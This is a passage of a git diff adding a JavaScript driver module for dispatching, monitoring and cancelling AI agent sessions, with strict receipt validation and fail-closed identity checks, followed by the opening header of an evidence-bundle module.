!capturedTest(DSH_DIGEST_HEX_PATTERN, value)) { + fail('invalid_format', path, + `${path} must be a raw lowercase ${DIGEST_HEX_LENGTH}-hex sha256 digest.`); + } +} + +function assertBoundedInteger(value, min, max, path, label) { + if (!Number.isInteger(value) || value < min || value > max) { + fail('invalid_format', path, + `${path} must be an integer from ${min} to ${max}; ${label} outside its bound fails closed.`); + } +} + +function assertClosedValue(value, vocabulary, path, label) { + if (!capturedIncludes(vocabulary, value)) { + fail('invalid_format', path, + `${path} must be exactly one of ${capturedJoin(vocabulary, ', ')}; ${label} is denied.`); + } +} + +export function validateDshConfigIdentityV1(value, model) { + if (!capturedIncludes(DSH_ALLOWED_MODELS, model)) { + fail('dsh_model_denied', 'dsh_transport.config_identity.model', + `The DSH model must be exactly one of ${capturedJoin(DSH_ALLOWED_MODELS, ', ')}.`); + } + assertReceiptObject(value, DSH_IDENTITY_RECEIPT_KEYS, 'config_identity'); + const ready = optOwn(value, 'ready'); + if (ready !== true && ready !== false) { + fail('invalid_format', 'dsh_transport.config_identity.ready', + 'dsh_transport.config_identity.ready must be a primitive boolean.'); + } + if (ready === false) { + if (hasOwn(value, 'reason')) { + assertClosedValue(optOwn(value, 'reason'), DSH_IDENTITY_UNAVAILABLE_REASONS, + 'dsh_transport.config_identity.reason', 'identity-unavailability reason'); + return freezeData({ ready: false, reason: optOwn(value, 'reason') }); + } + return freezeData({ ready: false, reason: null }); + } + if (hasOwn(value, 'reason')) { + fail('invalid_format', 'dsh_transport.config_identity.reason', + 'A ready DSH config identity carries no unavailability reason.'); + } + for (const key of ['config_path', 'config_sha256', 'credential_source', 'credential_sha256']) { + if (!hasOwn(value, key)) { + fail('missing_key', `dsh_transport.config_identity.${key}`, + `A ready DSH config identity must declare ${key}; partial identity is a guess.`); + } + } + const configPath = optOwn(value, 'config_path'); + assertBoundedText(configPath, { + min: 1, max: DSH_MAX_CONFIG_PATH_BYTES, allowBlank: true, + path: 'dsh_transport.config_identity.config_path', label: 'config_path', + }); + if (!capturedTest(DSH_ABSOLUTE_PATH_PATTERN, configPath)) { + fail('invalid_format', 'dsh_transport.config_identity.config_path', + 'dsh_transport.config_identity.config_path must be an absolute POSIX-style path.'); + } + assertHexDigest(optOwn(value, 'config_sha256'), 'dsh_transport.config_identity.config_sha256'); + const credentialSource = optOwn(value, 'credential_source'); + assertClosedValue(credentialSource, ['env', 'file'], + 'dsh_transport.config_identity.credential_source', 'credential source'); + assertHexDigest(optOwn(value, 'credential_sha256'), 'dsh_transport.config_identity.credential_sha256'); + return freezeData({ + config_path: configPath, + config_sha256: optOwn(value, 'config_sha256'), + credential_sha256: optOwn(value, 'credential_sha256'), + credential_source: credentialSource, + ready: true, + reason: null, + }); +} + +function assertIdentityUnchanged(current, prior, operation) { + if (!current.ready) { + fail('dsh_identity_unavailable', `driver.${operation}.request`, + 'The DSH config identity became unavailable after preflight; the lane fails closed.'); + } + for (const key of IDENTITY_DRIFT_FIELDS) { + if (!constantTimeEqual(current[key], prior[key])) { + fail('dsh_identity_drift', `driver.${operation}.request.${key}`, + `The exact ${key} drifted from the identity recorded at DSH preflight; ` + + 'model/config/credential drift fails the lane closed.'); + } + } +} + +function validateSpawnReceiptV1(value) { + assertReceiptObject(value, DSH_SPAWN_RECEIPT_KEYS, 'spawn_receipt'); + const sessionRef = optOwn(value, 'session_ref'); + assertBoundedText(sessionRef, { + min: 1, max: DSH_MAX_SESSION_REF_BYTES, + path: 'dsh_transport.spawn_receipt.session_ref', label: 'session_ref', + }); + if (!capturedTest(DSH_SESSION_REF_PATTERN, sessionRef)) { + fail('invalid_format', 'dsh_transport.spawn_receipt.session_ref', + `dsh_transport.spawn_receipt.session_ref violates ${DSH_SESSION_REF_PATTERN.source}.`); + } + if (hasOwn(value, 'observed_at_ms')) { + assertBoundedInteger(optOwn(value, 'observed_at_ms'), 0, DSH_MAX_TIME_MS, + 'dsh_transport.spawn_receipt.observed_at_ms', 'observed_at_ms'); + } + return freezeData({ session_ref: sessionRef }); +} + +function correlationFor(lane) { + return freezeData({ + assignment_id: lane.assignment_id, + base_sha: lane.base_sha, + child_envelope_digest: lane.child_envelope_digest, + lane_index: lane.lane_index, + model: lane.model, + run_id: lane.run_id, + }); +} + +function assertReceiptCorrelation(receipt, lane, pathPrefix) { + for (const key of DSH_CORRELATION_KEYS) { + const actual = optOwn(receipt, key); + const expected = lane[key]; + const equal = key === 'child_envelope_digest' + ? constantTimeEqual(actual, expected) + : actual === expected; + if (!equal) { + fail('dsh_correlation_mismatch', `${pathPrefix}.${key}`, + `Recorded ACPX evidence carries a ${key} that does not match this lane's exact ` + + 'child identity; task/session correlation fails closed.'); + } + } + if (!constantTimeEqual(optOwn(receipt, 'session_ref'), lane.dispatch.session_ref)) { + fail('dsh_correlation_mismatch', `${pathPrefix}.session_ref`, + 'Recorded ACPX evidence names a different session than this lane dispatched; ' + + 'correlation fails closed.'); + } +} + +function validateEvidenceReceiptV1(value, lane) { + assertReceiptObject(value, DSH_EVIDENCE_RECEIPT_KEYS, 'poll_receipt'); + assertReceiptCorrelation(value, lane, 'dsh_transport.poll_receipt'); + const state = optOwn(value, 'state'); + assertClosedValue(state, DSH_EVIDENCE_STATES, 'dsh_transport.poll_receipt.state', 'evidence state'); + const stopReasonPresent = hasOwn(value, 'stop_reason'); + if (stopReasonPresent) { + if (!capturedIncludes(DSH_TERMINAL_EVIDENCE_STATES, state)) { + fail('invalid_format', 'dsh_transport.poll_receipt.stop_reason', + 'stop_reason is only valid on terminal recorded evidence.'); + } + assertClosedValue(optOwn(value, 'stop_reason'), DSH_STOP_REASONS, + 'dsh_transport.poll_receipt.stop_reason', 'stop_reason'); + } + const questionPresent = hasOwn(value, 'question_ref'); + if (questionPresent) { + if (state !== 'needs_attention') { + fail('invalid_format', 'dsh_transport.poll_receipt.question_ref', + 'question_ref is only valid on needs_attention recorded evidence.'); + } + const questionRef = optOwn(value, 'question_ref'); + if (typeof questionRef !== 'string' || !capturedTest(DSH_QUESTION_REF_PATTERN, questionRef)) { + fail('invalid_format', 'dsh_transport.poll_receipt.question_ref', + `dsh_transport.poll_receipt.question_ref violates ${DSH_QUESTION_REF_PATTERN.source}.`); + } + } + assertBoundedInteger(optOwn(value, 'event_count'), 0, DSH_MAX_RECORDED_EVENTS, + 'dsh_transport.poll_receipt.event_count', 'event_count'); + assertBoundedInteger(optOwn(value, 'cursor'), 0, DSH_MAX_CURSOR, + 'dsh_transport.poll_receipt.cursor', 'cursor'); + assertBoundedInteger(optOwn(value, 'updated_at_ms'), 0, DSH_MAX_TIME_MS, + 'dsh_transport.poll_receipt.updated_at_ms', 'updated_at_ms'); + return freezeData({ + cursor: optOwn(value, 'cursor'), + event_count: optOwn(value, 'event_count'), + question_ref: questionPresent ? optOwn(value, 'question_ref') : null, + state, + stop_reason: stopReasonPresent ? optOwn(value, 'stop_reason') : null, + updated_at_ms: optOwn(value, 'updated_at_ms'), + }); +} + +function validateEventPageV1(value, request) { + assertReceiptObject(value, DSH_EVENT_PAGE_KEYS, 'event_page'); + const records = optOwn(value, 'records'); + assertDenseJsonArray(records, 'dsh_transport.event_page.records'); + if (records.length > request.max_records) { + fail('event_page_overbound', 'dsh_transport.event_page.records', + `The event page returned ${records.length} records while the driver bounded the page ` + + `to ${request.max_records}.`); + } + let previousSeq = request.cursor; + const normalized = []; + for (let index = 0; index < records.length; index += 1) { + const path = `dsh_transport.event_page.records[${index}]`; + const record = records[index]; + assertDirectJsonClosure(record, path); + assertPlainObject(record, 'invalid_type', path, path); + assertAllowedKeys(record, DSH_EVENT_RECORD_KEYS, path); + const seq = optOwn(record, 'seq'); + assertBoundedInteger(seq, 0, DSH_MAX_CURSOR, `${path}.seq`, 'seq'); + if (seq <= previousSeq) { + fail('invalid_format', `${path}.seq`, + 'Event page sequence numbers must strictly increase past the requested cursor.'); + } + const kind = optOwn(record, 'kind'); + assertClosedValue(kind, DSH_EVENT_KINDS, `${path}.kind`, 'event kind'); + assertBoundedInteger(optOwn(record, 'bytes'), 0, DSH_MAX_EVENT_RECORD_BYTES, `${path}.bytes`, 'bytes'); + previousSeq = seq; + normalized.push(freezeData({ bytes: optOwn(record, 'bytes'), kind, seq })); + } + const nextCursor = optOwn(value, 'next_cursor'); + assertBoundedInteger(nextCursor, 0, DSH_MAX_CURSOR, 'dsh_transport.event_page.next_cursor', 'next_cursor'); + if (nextCursor < previousSeq) { + fail('invalid_format', 'dsh_transport.event_page.next_cursor', + 'next_cursor must not move backwards past the last returned record.'); + } + const truncated = optOwn(value, 'truncated'); + if (typeof truncated !== 'boolean') { + fail('invalid_format', 'dsh_transport.event_page.truncated', + 'dsh_transport.event_page.truncated must be a primitive boolean.'); + } + return freezeData({ next_cursor: nextCursor, records: normalized, truncated }); +} + +function validateCancelReceiptV1(value, lane) { + assertReceiptObject(value, DSH_CANCEL_RECEIPT_KEYS, 'cancel_receipt'); + assertReceiptCorrelation(value, lane, 'dsh_transport.cancel_receipt'); + const outcome = optOwn(value, 'outcome'); + assertClosedValue(outcome, DSH_CANCEL_OUTCOMES, 'dsh_transport.cancel_receipt.outcome', 'cancel outcome'); + return freezeData({ outcome }); +} + +function isProvablyPreSpawn(error) { + if (error === null || typeof error !== 'object') return false; + try { + if (IS_PROXY(error)) return false; + const prototype = Object.getPrototypeOf(error); + if (prototype !== Error.prototype && prototype !== Object.prototype) return false; + const phase = Object.getOwnPropertyDescriptor(error, 'phase'); + if (!phase || phase.get !== undefined || phase.value !== 'prespawn') return false; + const code = Object.getOwnPropertyDescriptor(error, 'code'); + return Boolean(code && code.get === undefined + && typeof code.value === 'string' + && capturedTest(DSH_TRANSPORT_ERROR_CODE_PATTERN, code.value)); + } catch { + return false; + } +} + +function isTypedContractError(error) { + return error instanceof Error && error.name === 'RunContractV1Error'; +} + +// --------------------------------------------------------------------------- +// Driver construction +// --------------------------------------------------------------------------- + +export function createDshApxDriverV1(options) { + const optionsPath = 'dsh_driver_options'; + assertNotProxy(options, optionsPath); + if (options === undefined || options === null || !isPlainObject(options)) { + fail('invalid_type', optionsPath, + `${optionsPath} must be a plain object carrying transport and workspace_mode.`); + } + assertAllowedKeys(options, DSH_DRIVER_OPTION_KEYS, optionsPath); + for (const key of ['transport', 'workspace_mode']) { + if (!hasOwn(options, key)) { + fail('missing_key', `${optionsPath}.${key}`, + `${optionsPath}.${key} is required; the driver inherits no hidden transport or workspace default.`); + } + } + const transport = optOwn(options, 'transport'); + assertDshAcpTransportV1(transport); + + const workspaceMode = optOwn(options, 'workspace_mode'); + if (!capturedIncludes(DSH_WORKSPACE_MODES, workspaceMode)) { + fail('direct_mode_rejected', `${optionsPath}.workspace_mode`, + `${optionsPath}.workspace_mode must be exactly "managed"; direct mode and every other ` + + 'workspace semantics fail closed for DSH runs.'); + } + + let clock = Date.now.bind(Date); + if (hasOwn(options, 'now')) { + const provided = optOwn(options, 'now'); + if (typeof provided !== 'function' || IS_PROXY(provided)) { + fail('invalid_type', `${optionsPath}.now`, + `${optionsPath}.now must be a concrete clock function.`); + } + clock = provided; + } + + const declaration = buildDshAcpDeclarationV1(); + const lanes = new MAP_CTOR(); + + function nowMs(operation) { + let value; + try { + value = clock(); + } catch { + value = Number.NaN; + } + assertBoundedInteger(value, 0, DSH_MAX_TIME_MS, + `driver.${operation}.request.clock`, 'clock reading'); + return value; + } + + function callTransport(name, argument) { + return transport[name].call(transport, argument); + } + + function existingLane(envelope) { + return lanes.get(laneKey(envelope)); + } + + function beginOperation(lane, operation, timestamp) { + if (!Number.isInteger(lane.operation_count + 1) + || lane.operation_count + 1 > DSH_MAX_LANE_OPERATIONS) { + fail('operation_budget_exceeded', `driver.${operation}.request`, + `At most ${DSH_MAX_LANE_OPERATIONS} driver operations are permitted per DSH lane; ` + + 'the budget fails closed.'); + } + if (timestamp < lane.observed_at_ms) { + fail('timing_regression_denied', `driver.${operation}.request.clock`, + 'Clock time moved backwards on a live DSH lane; timing regressions fail closed.'); + } + } + + function advance(lane, patch, timestamp) { + return freezeData({ + ...lane, + ...patch, + observed_at_ms: Math.max(lane.observed_at_ms, timestamp), + operation_count: lane.operation_count + 1, + }); + } + + function assertDshBinding(envelope, operation) { + if (envelope.execution.provider !== DSH_PROVIDER) { + fail('provider_slot_mismatch', `driver.${operation}.request.envelope_text`, + `The DSH ACPX driver binds provider "${DSH_PROVIDER}" exactly; cross-provider ` + + 'substitution fails closed.'); + } + const model = envelope.execution.model; + if (!capturedIncludes(DSH_ALLOWED_MODELS, model)) { + fail('dsh_model_denied', `driver.${operation}.request.envelope_text`, + `The DSH ACPX driver binds exactly ${capturedJoin(DSH_ALLOWED_MODELS, ', ')}; ` + + 'every other model fails closed.'); + } + return model; + } + + function requireKnownLane(envelope, model, request, operation) { + const prior = existingLane(envelope); + if (prior === undefined) { + fail('not_preflighted', `driver.${operation}.request`, + 'No DSH preflight identity exists for this exact child lane.'); + } + if (!constantTimeEqual(prior.child_envelope_digest, request.child_envelope_digest)) { + fail('stale_identity_denied', `driver.${operation}.request.child_envelope_digest`, + 'The request digest does not match the child recorded at DSH preflight.'); + } + if (prior.model !== model) { + fail('dsh_model_drift', `driver.${operation}.request.envelope_text`, + 'The envelope model differs from the exact model recorded at DSH preflight.'); + } + return prior; + } + + function currentIdentity(model, operation) { + return validateDshConfigIdentityV1( + callTransport('configIdentity', freezeData({ model })), model); + } + + function baseResult(operation, request, envelope, disposition) { + return { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + child_envelope_digest: request.child_envelope_digest, + disposition, + }; + } + + // Content-free diagnostics: fragments combine closed-vocabulary words and + // integers already validated against bounds. Nothing a provider or a hostile + // transport authored can reach a detail message. + function withDetail(result, code, fragments) { + return { ...result, detail_code: code, detail_message: fragments.join(' ') }; + } + + function progressFragments(lane, extra = []) { + return [ + `events=${lane.events_seen}`, + `cursor=${lane.cursor}`, + `truncated=${lane.events_truncated ? 'true' : 'false'}`, + ...extra, + ]; + } + + function requireDispatch(lane, operation) { + if (lane.dispatch.state !== 'spawn_accepted' && lane.dispatch.state !== 'intent_only') { + fail('not_dispatched', `driver.${operation}.request`, + 'This DSH lane holds no dispatch intent to reconcile or cancel.'); + } + } + + function hasTerminalLatch(lane) { + return lane.terminal_latch !== null && lane.terminal_latch !== undefined; + } + + function evidenceLatch(evidence) { + return freezeData({ + kind: 'evidence', + state: evidence.state, + stop_reason: evidence.stop_reason, + }); + } + + function cancelLatch(outcome) { + return freezeData({ kind: 'cancel', outcome }); + } + + function denyTerminalRegression(operation) { + fail('terminal_regression_denied', `driver.${operation}.request`, + 'Recorded ACPX evidence moved backwards from a latched terminal disposition; ' + + 'terminal regressions fail closed.'); + } + + function latchedTerminalResult(operation, request, envelope, lane, includeCount) { + const terminal = baseResult(operation, request, envelope, 'terminal'); + if (!includeCount) return terminal; + const latch = lane.terminal_latch; + const extra = latch.kind === 'evidence' + ? [ + `state=${latch.state}`, + ...(latch.stop_reason ? [`stop_reason=${latch.stop_reason}`] : []), + ] + : [`outcome=${latch.outcome}`]; + return withDetail(terminal, 'terminal_evidence', [...extra, ...progressFragments(lane)]); + } + + function localAlreadyTerminalCancel(request, envelope, lane, timestamp) { + lanes.set(laneKey(envelope), advance(lane, {}, timestamp)); + return withDetail( + baseResult('cancel', request, envelope, 'already_terminal'), + 'already_terminal', + ['outcome=already_terminal'], + ); + } + + function readIdentityOrBlocked(request, envelope, model) { + try { + return { identity: currentIdentity(model, 'preflight'), error: null }; + } catch (error) { + // Malformed or forged identity receipts fail closed with their typed + // codes; only genuine probe loss degrades to an honest blocked result. + if (isTypedContractError(error)) throw error; + return { + identity: null, + error: withDetail(baseResult('preflight', request, envelope, 'blocked'), + 'dsh_transport_unavailable', ['transport=configIdentity', `model=${model}`]), + }; + } + } + + // --- preflight ------------------------------------------------------------- + + function preflight(request) { + const operation = 'preflight'; + const envelope = parseChildEnvelopeV1(request.envelope_text); + const model = assertDshBinding(envelope, operation); + const timestamp = nowMs(operation); + const prior = existingLane(envelope); + if (prior === undefined && lanes.size >= DSH_MAX_LANES) { + fail('lane_budget_exceeded', `driver.${operation}.request`, + `At most ${DSH_MAX_LANES} DSH lanes may exist per process; the lane budget fails closed.`); + } + const probed = readIdentityOrBlocked(request, envelope, model); + if (probed.error) return probed.error; + const identity = probed.identity; + if (!identity.ready) { + const code = identity.reason === 'credential_unavailable' + ? 'dsh_credential_unavailable' + : 'dsh_config_unavailable'; + return withDetail(baseResult(operation, request, envelope, 'blocked'), + code, [`reason=${identity.reason ?? 'unknown'}`, `model=${model}`]); + } + beginOperation(prior ?? freezeData({ observed_at_ms: timestamp, operation_count: 0 }), operation, timestamp); + lanes.set(laneKey(envelope), freezeData({ + assignment_id: envelope.assignment_id, + base_sha: envelope.repository.base_sha, + child_envelope_digest: request.child_envelope_digest, + cursor: 0, + dispatch: freezeData({ receipt_valid: false, session_ref: null, state: 'none' }), + events_seen: 0, + events_truncated: false, + identity, + launch_attempts: prior?.launch_attempts ?? 0, + lane_index: envelope.lane_index, + model, + observed_at_ms: Math.max(prior?.observed_at_ms ?? timestamp, timestamp), + operation_count: (prior?.operation_count ?? 0) + 1, + run_id: envelope.run_id, + terminal_latch: prior?.terminal_latch ?? null, + })); + return baseResult(operation, request, envelope, 'ready'); + } + + // --- launch ---------------------------------------------------------------- + + function launch(request) { + const operation = 'launch'; + const envelope = parseChildEnvelopeV1(request.envelope_text); + const model = assertDshBinding(envelope, operation); + const lane = requireKnownLane(envelope, model, request, operation); + const timestamp = nowMs(operation); + beginOperation(lane, operation, timestamp); + + // Exact model/config/credential identity must still hold immediately + // before spawn. Drift throws before anything is sent, so failing closed + // here can never leave a half-dispatched lane behind. Any other probe + // failure is equally provably pre-spawn: the spawn call was never made. + try { + assertIdentityUnchanged(currentIdentity(model, operation), lane.identity, operation); + } catch (error) { + if (isTypedContractError(error)) throw error; + lanes.set(laneKey(envelope), advance(lane, { + dispatch: freezeData({ receipt_valid: false, session_ref: null, state: 'not_sent' }), + launch_attempts: lane.launch_attempts + 1, + }, timestamp)); + return withDetail(baseResult(operation, request, envelope, 'not_sent'), + 'transport_prespawn_denied', ['probe=configIdentity', `model=${model}`]); + } + + if (lane.launch_attempts >= DSH_MAX_LAUNCH_ATTEMPTS) { + fail('launch_budget_exceeded', `driver.${operation}.request`, + `At most ${DSH_MAX_LAUNCH_ATTEMPTS} launch attempts are permitted per DSH lane; ` + + 'the budget fails closed.'); + } + + const payload = freezeData({ + assignment_id: envelope.assignment_id, + attempted_at_ms: timestamp, + base_sha: envelope.repository.base_sha, + child_envelope_digest: request.child_envelope_digest, + envelope_text: request.envelope_text, + lane_index: envelope.lane_index, + model, + run_id: envelope.run_id, + }); + assertAllowedKeys(payload, DSH_DISPATCH_PAYLOAD_KEYS, `driver.${operation}.payload`); + + // Spawn intent begins here. Everything after this point resolves to an + // honest disposition and never throws, so the P17 lane state always lands + // in a possibly-sent state and no duplicate launch can follow. + try { + const receipt = validateSpawnReceiptV1(callTransport('spawn', payload)); + lanes.set(laneKey(envelope), advance(lane, { + dispatch: freezeData({ receipt_valid: true, session_ref: receipt.session_ref, state: 'spawn_accepted' }), + launch_attempts: lane.launch_attempts + 1, + }, timestamp)); + // No authoritative prompt-sent acknowledgement exists, so the posture + // stays uncertain_after_spawn even when the port accepted the spawn. + return baseResult(operation, request, envelope, 'dispatch_uncertain'); + } catch (error) { + const provablyPrespawn = isProvablyPreSpawn(error); + lanes.set(laneKey(envelope), advance(lane, { + dispatch: freezeData({ + receipt_valid: false, + session_ref: null, + state: provablyPrespawn ? 'not_sent' : 'intent_only', + }), + launch_attempts: lane.launch_attempts + 1, + }, timestamp)); + if (provablyPrespawn) { + return withDetail(baseResult(operation, request, envelope, 'not_sent'), + 'transport_prespawn_denied', ['probe=spawn', `model=${model}`]); + } + // Exception or loss after spawn intent stays dispatch_uncertain forever: + // never replayed, retried, or fallback-substituted. + return baseResult(operation, request, envelope, 'dispatch_uncertain'); + } + } + + // --- reconcile --------------------------------------------------------------- + + function applyEventPage(lane, includeCount, operation) { + if (!includeCount) return lane; + const remaining = DSH_MAX_RECORDED_EVENTS - lane.events_seen; + if (remaining <= 0) return freezeData({ ...lane, events_truncated: true }); + const pageRequest = freezeData({ + correlation: correlationFor(lane), + cursor: lane.cursor, + max_records: Math.min(DSH_MAX_EVENT_PAGE_RECORDS, remaining), + session_ref: lane.dispatch.session_ref, + }); + let page; + try { + page = validateEventPageV1(callTransport('events', pageRequest), pageRequest); + } catch (error) { + if (isTypedContractError(error)) throw error; + fail('dsh_events_unavailable', `driver.${operation}.request.include`, + 'The recorded ACPX event page could not be read; the reconcile fails closed instead of guessing.'); + } + return freezeData({ + ...lane, + cursor: Math.max(lane.cursor, page.next_cursor), + events_seen: Math.min(DSH_MAX_RECORDED_EVENTS, lane.events_seen + page.records.length), + events_truncated: lane.events_truncated || page.truncated, + }); + } + + function reconcile(request) { + const operation = 'reconcile'; + const envelope = parseChildEnvelopeV1(request.envelope_text); + const model = assertDshBinding(envelope, operation); + const lane = requireKnownLane(envelope, model, request, operation); + const timestamp = nowMs(operation); + beginOperation(lane, operation, timestamp); + requireDispatch(lane, operation); + const includeCount = Array.isArray(request.include) ? request.include.length : 0; + + function commit(updatedLane, patch) { + const next = advance(updatedLane, patch, timestamp); + lanes.set(laneKey(envelope), next); + return next; + } + + if (lane.dispatch.session_ref === null) { + // An intent-only lane carries no session handle: nothing can be + // observed or correlated, so honesty stays at uncertainty and no + // doomed transport call is made. The child is never replayed to + // recover a handle. A latched terminal disposition is retained + // instead of degrading back to uncertainty. + if (hasTerminalLatch(lane)) { + return latchedTerminalResult(operation, request, envelope, commit(lane, {}), includeCount); + } + commit(lane, {}); + const uncertain = baseResult(operation, request, envelope, 'dispatch_uncertain'); + return includeCount + ? withDetail(uncertain, 'evidence_absent', progressFragments(lane, ['evidence=unavailable'])) + : uncertain; + } + + // Exact identity must hold on every observation too: credential or config + // DRIFT fails the observation closed with a typed error below, while a + // lost identity/evidence probe degrades honestly to uncertainty unless a + // terminal latch already exists. After terminal evidence, uncertainty is + // denied; the latched terminal disposition is retained instead. + let evidence; + try { + const identity = currentIdentity(model, operation); + assertIdentityUnchanged(identity, lane.identity, operation); + evidence = validateEvidenceReceiptV1(callTransport('poll', freezeData({ + correlation: correlationFor(lane), + session_ref: lane.dispatch.session_ref, + })), lane); + } catch (error) { + if (isTypedContractError(error)) throw error; + if (hasTerminalLatch(lane)) { + return latchedTerminalResult(operation, request, envelope, commit(lane, {}), includeCount); + } + // Loss or exception during observation degrades honestly to uncertainty. + // It never invents a terminal state and never replays the child. + commit(lane, {}); + const uncertain = baseResult(operation, request, envelope, 'dispatch_uncertain'); + return includeCount + ? withDetail(uncertain, 'evidence_absent', progressFragments(lane, ['evidence=unavailable'])) + : uncertain; + } + + // Hostile running/accepted/absent/needs_attention after a terminal latch + // fails closed with one typed regression. The lane is left untouched so + // no second spawn, provider/model substitution, or attention answer can + // follow from the denied observation. + if (hasTerminalLatch(lane) && capturedIncludes(DSH_POST_TERMINAL_REGRESSION_STATES, evidence.state)) { + denyTerminalRegression(operation); + } + + const updated = applyEventPage(lane, includeCount, operation); + const progress = progressFragments(updated); + + if (capturedIncludes(DSH_TERMINAL_EVIDENCE_STATES, evidence.state)) { + const latch = hasTerminalLatch(lane) ? lane.terminal_latch : evidenceLatch(evidence); + commit(updated, { terminal_latch: latch }); + const terminal = baseResult(operation, request, envelope, 'terminal'); + return includeCount + ? withDetail(terminal, 'terminal_evidence', [ + `state=${evidence.state}`, + ...(evidence.stop_reason ? [`stop_reason=${evidence.stop_reason}`] : []), + ...progress, + ]) + : terminal; + } + + if (hasTerminalLatch(lane)) { + return latchedTerminalResult(operation, request, envelope, commit(updated, {}), includeCount); + } + + commit(updated, {}); + if (evidence.state === 'absent') { + const code = request.intent === 'restart_reattach' + ? 'restart_evidence_absent' + : 'evidence_absent'; + const uncertain = baseResult(operation, request, envelope, 'dispatch_uncertain'); + return includeCount ? withDetail(uncertain, code, progress) : uncertain; + } + if (evidence.state === 'needs_attention') { + // Same-session reply is unsupported: surface the attention honestly and + // never answer it or start a replacement prompt or session. + const attention = baseResult(operation, request, envelope, 'unresolved_attention'); + return includeCount + ? withDetail(attention, 'unresolved_attention', [...progress, 'same_session_reply=unsupported']) + : attention; + } + const running = baseResult(operation, request, envelope, 'in_progress'); + return includeCount ? withDetail(running, 'live_progress', progress) : running; + } + + // --- cancel --------------------------------------------------------------- + + function cancel(request) { + const operation = 'cancel'; + const envelope = parseChildEnvelopeV1(request.envelope_text); + const model = assertDshBinding(envelope, operation); + const lane = requireKnownLane(envelope, model, request, operation); + const timestamp = nowMs(operation); + beginOperation(lane, operation, timestamp); + requireDispatch(lane, operation); + // After completed/failed/cancelled evidence or a confirmed/ + // already_terminal cancel, every later cancel is a local + // already_terminal result. The injected port is not probed again: + // no configIdentity, cancel, poll, events, spawn, reply, or reattach. + // cancel_requested is not a terminal latch, so a later cancel may + // still be delivered as a control signal. + if (hasTerminalLatch(lane)) { + return localAlreadyTerminalCancel(request, envelope, lane, timestamp); + } + if (lane.dispatch.session_ref === null) { + fail('dsh_cancel_unresolved', `driver.${operation}.request`, + 'This DSH lane holds only an unconfirmed spawn intent and no session handle; ' + + 'cancellation stays unresolved instead of claiming a delivery it cannot target.'); + } + + // A cancellation is a control signal, not a prompt: a lost or failing + // cancellation request fails this operation closed with a typed error and + // leaves the lane state untouched, so a later cancel or reconcile remains + // possible without any replay of the child. Identity drift still denies + // the operation through its typed drift code below. + let receipt; + try { + const identity = currentIdentity(model, operation); + assertIdentityUnchanged(identity, lane.identity, operation); + receipt = validateCancelReceiptV1(callTransport('cancel', freezeData({ + correlation: correlationFor(lane), + session_ref: lane.dispatch.session_ref, + })), lane); + } catch (error) { + if (isTypedContractError(error)) throw error; + fail('dsh_cancel_unresolved', `driver.${operation}.request`, + 'The DSH cancellation request could not be resolved; the lane stays untouched ' + + 'and cancellation may be requested again without any replay.'); + } + const latchWorthy = capturedIncludes(DSH_TERMINAL_CANCEL_OUTCOMES, receipt.outcome); + const terminalLatch = latchWorthy + ? (hasTerminalLatch(lane) ? lane.terminal_latch : cancelLatch(receipt.outcome)) + : lane.terminal_latch ?? null; + lanes.set(laneKey(envelope), advance(lane, { terminal_latch: terminalLatch }, timestamp)); + const disposition = receipt.outcome === 'confirmed' + ? 'cancel_confirmed' + : receipt.outcome === 'requested' ? 'cancel_requested' : 'already_terminal'; + return withDetail(baseResult(operation, request, envelope, disposition), + disposition, [`outcome=${receipt.outcome}`]); + } + + const operations = { cancel, launch, preflight, reconcile }; + const driver = bindProviderDriverV1(operations, declaration); + + return OBJECT_FREEZE({ + capability: declaration.capability, + declaration, + driver, + features: declaration.features, + models: DSH_ALLOWED_MODELS, + provider: DSH_PROVIDER, + schema: DSH_ACPX_DRIVER_SCHEMA_ID, + version: DSH_ACPX_DRIVER_VERSION, + workspace_mode: 'managed', + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + }); +} + +// --------------------------------------------------------------------------- +// Description +// --------------------------------------------------------------------------- + +export function describeDshApxDriverV1() { + return capturedFreeze({ + bounds: capturedFreeze({ + event_page_records: DSH_MAX_EVENT_PAGE_RECORDS, + event_record_bytes: DSH_MAX_EVENT_RECORD_BYTES, + lanes: DSH_MAX_LANES, + lane_operations: DSH_MAX_LANE_OPERATIONS, + launch_attempts: DSH_MAX_LAUNCH_ATTEMPTS, + max_cursor: DSH_MAX_CURSOR, + max_time_ms: DSH_MAX_TIME_MS, + recorded_events: DSH_MAX_RECORDED_EVENTS, + session_ref_bytes: DSH_MAX_SESSION_REF_BYTES, + }), + cancel_outcomes: [...DSH_CANCEL_OUTCOMES], + claims: capturedFreeze({ + durable_run_store: false, + live_transport_qualification: false, + merge_or_pr_authority: false, + real_transport_configured: false, + replay_or_fallback: false, + same_session_reply: false, + supervisor_cutover: false, + }), + detail_codes: [...DSH_DETAIL_CODES], + event_kinds: [...DSH_EVENT_KINDS], + evidence_states: [...DSH_EVIDENCE_STATES], + operations: [...DRIVER_OPERATIONS], + provider: DSH_PROVIDER, + models: [...DSH_ALLOWED_MODELS], + schema: DSH_ACPX_DRIVER_SCHEMA_ID, + transport_keys: [...DSH_ACPX_TRANSPORT_KEYS], + transport_mode: 'injected_bounded_one_shot_port', + version: DSH_ACPX_DRIVER_VERSION, + }); +} + +capturedFreeze(assertDshAcpTransportV1); +capturedFreeze(createDshApxDriverV1); +capturedFreeze(describeDshApxDriverV1); +capturedFreeze(validateDshConfigIdentityV1); diff --git a/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs b/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs new file mode 100644 index 0000000..b717473 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/evidence-bundle.mjs @@ -0,0 +1,1101 @@ +// EvidenceBundleV1 — closed canonical bounded immutable evidence record +// separating provider-authored claims from independently verified facts +// (ADR 0001 identifiers `bounded_evidence`, `exact_identities`, +// `raw_evidence_owner_only_local`, +// `sanitized_bounded_evidence_model_facing`, +// `provider_commands_evidence_never_auto_executed`, +// `codex_only_final_acceptance`). +// +// Additive v3 module for W12-P13. It owns schema, validation, canonical +// bytes, framed digest, and the closed acceptance rule. It performs no +// Git inspection, filesystem I/O, command execution, network/provider +// calls, or live routing. Facts cannot be synthesized from claims. +// Artifact links are exact P07 ArtifactRefV1 snapshots. + +import { Buffer } from 'node:buffer'; +import { createHash, timingSafeEqual } from 'node:crypto'; + +import { + 